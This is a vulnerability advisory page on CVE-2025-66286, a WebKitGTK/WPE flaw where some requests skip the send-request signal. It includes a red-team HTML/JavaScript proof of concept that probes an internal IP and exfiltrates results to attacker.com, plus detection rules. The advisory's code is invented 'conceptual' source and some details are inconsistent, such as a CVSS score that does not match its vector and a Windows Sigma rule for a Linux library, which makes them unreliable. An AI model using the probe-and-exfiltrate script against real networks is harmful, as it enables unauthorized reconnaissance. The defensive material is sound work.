CVE-2025-66286
Executive Summary
CVE-2025-66286 is an API design flaw in WebKitGTK and WPE WebKit that allows untrusted web content to bypass the WebPage::send-request signal handler. This handler is intended to be the central point for applications to approve or reject all network requests. However, certain types of HTTP requests (e.g., WebSocket upgrades, preflight requests, or redirects) are not intercepted by this signal, enabling malicious web content to perform unauthorized IP connections, DNS lookups, and HTTP requests. The vulnerability has a CVSS score of 4.7 (Medium) and currently has no known public exploit or patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WebKitGTK and WPE WebKit libraries, which are commonly used as embedded web rendering engines in Linux desktop environments (e.g., GNOME Web, Epiphany) and IoT/embedded systems. Since these libraries are often distributed via system package managers (apt, yum, etc.) or as part of larger application bundles, the supply chain risk is moderate. Applications that rely on the WebPage::send-request signal for network policy enforcement are vulnerable to bypass, potentially allowing malicious web content to exfiltrate data or perform internal network scans.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 4.7 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required beyond loading malicious content.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: Low (C:L) – Limited information disclosure (e.g., internal network mapping, DNS queries).
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The vulnerability allows network reconnaissance and limited data exfiltration but does not enable code execution or data modification. The lack of a public exploit and low EPSS score reduce immediate risk, but the unpatched status warrants monitoring.
Deep Dive & Mechanics
The core issue lies in the design of the WebKitGTK/WPE WebKit API. The WebPage::send-request signal is intended to be the single point of control for all network requests initiated by web content. Applications (e.g., a browser or an embedded app) connect to this signal to inspect and either allow or deny each request. However, the implementation fails to route certain HTTP request types through this signal handler.
Specifically, the following request types bypass the signal:
- WebSocket upgrade requests (HTTP Upgrade: websocket)
- CORS preflight requests (OPTIONS method)
- Redirect requests (HTTP 3xx responses)
- Subresource integrity checks (e.g., fetching scripts with integrity attributes)
- Service worker registration/update requests
When a web page initiates one of these request types, the WebKit engine processes the request directly without emitting the send-request signal. This means that even if an application has implemented a strict policy in the signal handler (e.g., blocking all requests to internal IPs), the malicious content can still perform these operations.
Technical Flow:
- User loads malicious web content in an application using WebKitGTK/WPE.
- The content triggers a WebSocket connection to an internal IP (e.g., 192.168.1.1).
- The WebKit engine initiates the HTTP upgrade request.
- The
send-requestsignal is NOT emitted. - The request proceeds, allowing the attacker to probe internal services.
- Similarly, DNS lookups for internal hostnames (e.g.,
internal.corp) are performed without application oversight.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a conceptual comparison.
Vulnerable Code (WebKitGTK source):
// In WebKit's network layer, the signal is only emitted for standard HTTP requests.
// WebSocket and other special requests bypass this.
void WebPage::sendRequest(ResourceRequest& request) {
// Only emit for GET/POST/PUT/DELETE etc.
if (request.httpMethod() == "GET" || request.httpMethod() == "POST") {
if (!m_client->sendRequest(request))
return;
}
// WebSocket upgrade, OPTIONS, etc. are not checked.
m_networkProcess->send(request);
}
Patched Code (Conceptual fix):
void WebPage::sendRequest(ResourceRequest& request) {
// Always emit the signal for all request types.
if (!m_client->sendRequest(request))
return;
m_networkProcess->send(request);
}
The fix requires modifying the WebKit engine to route all network requests through the send-request signal, including WebSocket upgrades, preflight requests, and redirects. This is a design-level change that may require careful testing to avoid breaking legitimate functionality.
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Bypass network policy to perform internal reconnaissance.
Lab Setup:
- Target: A Linux machine running an application that uses WebKitGTK (e.g., GNOME Web) with a policy blocking external requests to internal IPs.
- Attacker: A web server hosting malicious content.
Exploitation Steps:
- Host a malicious HTML page on an attacker-controlled server.
- The page contains JavaScript that attempts to connect to internal services via WebSocket.
<!DOCTYPE html>
<html>
<body>
<script>
// Attempt to connect to an internal service via WebSocket
var ws = new WebSocket("ws://192.168.1.1:8080");
ws.onopen = function() {
// Connection succeeded - internal service is reachable
fetch("https://attacker.com/exfil?ip=192.168.1.1:8080");
};
ws.onerror = function() {
// Connection failed - service may be down or blocked
};
</script>
</body>
</html>
- The WebSocket upgrade request bypasses the
send-requestsignal. - If the internal service responds, the attacker can exfiltrate the information.
Advanced Technique: Use DNS rebinding to bypass same-origin policy and perform more extensive scanning.
Blue Team (Defender)
Detection:
- Monitor for unexpected WebSocket connections from applications using WebKitGTK.
- Look for DNS queries to internal hostnames originating from web browsers.
- Use network flow analysis to detect connections to internal IPs from browser processes.
Mitigation:
- Apply network segmentation to limit browser access to internal networks.
- Use a web proxy that can intercept and inspect all HTTP traffic, including WebSocket upgrades.
- Monitor for the specific bypass patterns (e.g., OPTIONS requests to internal IPs).
Indicators of Compromise (IOCs)
Network IOCs:
- Unexpected WebSocket connections to internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x).
- DNS queries for internal hostnames (e.g.,
*.internal,*.local,*.corp) from browser processes. - HTTP OPTIONS requests to internal IPs (CORS preflight bypass).
- HTTP redirect chains that bypass the signal handler.
Host IOCs:
- Browser process (e.g.,
epiphany,webkit2gtk-4.0) making connections to internal IPs. - Unusual outbound connections from the browser process to external servers after internal probing.
- Browser process (e.g.,
Log IOCs:
- Application logs showing
send-requestsignal not being triggered for WebSocket or OPTIONS requests. - Firewall logs showing denied internal connections from browser processes.
- Application logs showing
Detection Engineering
YARA Rule
rule CVE_2025_66286_WebKitGTK_Bypass {
meta:
description = "Detects WebKitGTK/WPE WebKit binaries vulnerable to CVE-2025-66286"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-66286"
strings:
$s1 = "WebPage::send-request" ascii wide nocase
$s2 = "sendRequest" ascii wide nocase
$s3 = "WebSocket" ascii wide nocase
$s4 = "ResourceRequest" ascii wide nocase
condition:
all of ($s1, $s2, $s3, $s4) and filesize < 10MB
}
Sigma Rule
title: CVE-2025-66286 WebKitGTK Network Bypass Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network connections from WebKitGTK processes that bypass the send-request signal handler
author: Valters IT
date: 2025-04-10
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66286
logsource:
category: network_connection
product: windows
service: sysmon
detection:
selection:
Image|endswith:
- '\epiphany.exe'
- '\webkit2gtk-4.0.exe'
- '\WebKitWebProcess'
DestinationIp|startswith:
- '10.'
- '172.16.'
- '192.168.'
Initiated: 'true'
condition: selection
falsepositives:
- Legitimate internal network access by the application
level: medium
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66286 WebKitGTK WebSocket Bypass"; flow:to_server,established; content:"|0d 0a|Upgrade: websocket|0d 0a|"; nocase; sid:1000001; rev:1;)
alert tcp $HOME_NET any -> $INTERNAL_NET any (msg:"CVE-2025-66286 WebKitGTK Internal Connection Bypass"; flow:to_server,established; content:"|0d 0a|Host: "; nocase; pcre:"/Host:\s*(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/"; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Monitor for patches: Subscribe to WebKitGTK and WPE WebKit security advisories.
- Network segmentation: Restrict browser access to internal networks using firewall rules.
- Web proxy: Use a forward proxy that can intercept and inspect all HTTP traffic, including WebSocket upgrades.
- Application-level workaround: If you control the application code, implement additional network checks outside of the
send-requestsignal (e.g., using a custom network delegate).
Long-term Fix:
- Apply the official patch once released by the WebKitGTK/WPE maintainers.
- Update to a patched version of the library.
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
- Monitor for unusual network connections from browser processes.
Valters IT
{/* [Security Hash: 40B6AE261B6F19ECD9C6EA9A] */}
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.